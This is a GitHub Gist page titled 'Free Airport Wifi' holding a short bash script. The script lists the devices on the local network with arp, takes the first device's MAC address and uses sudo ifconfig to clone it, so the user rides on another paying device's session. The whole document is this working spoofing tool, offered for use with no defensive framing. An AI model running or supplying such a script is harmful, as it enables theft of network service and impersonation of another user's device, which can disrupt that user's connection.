Last active
August 29, 2015 14:12
-
-
Save brycepj/4a78292374faeb51839c to your computer and use it in GitHub Desktop.
Free Airport Wifi
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# get current MAC address | |
current_grep_MAC=$(ifconfig en1 | grep ether) | |
for i in $(echo $current_grep_MAC) | |
do | |
len="${#i}" | |
if [ $len -eq "17" ]; then | |
current_MAC="$i" | |
printf "Your MAC address -- $i -- is valid.\n" | |
fi | |
done | |
# view other devices on network | |
MACs=( $(arp -a | cut -f 4 -d ' ') ) | |
printf "Current MACs on this network: $MACs\n" | |
# store the MAC address of the first device on the network | |
new_MAC_to_spoof="${MACs[0]}" | |
printf "$new_MAC_to_spoof is the new MAC address.\n" | |
# spoof your MAC address | |
sudo ifconfig en1 ether $new_MAC_to_spoof | |
final_grep_MAC=$(ifconfig en1 | grep ether) | |
# check if MAC address has changed | |
if [ "$final_grep_MAC" == "$current_grep_MAC" ]; then | |
printf "Nothing changed, bro. Something went wrong.\n" | |
exit 1 | |
fi | |
printf "Successfully spoofed.\n" | |
exit 0 |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment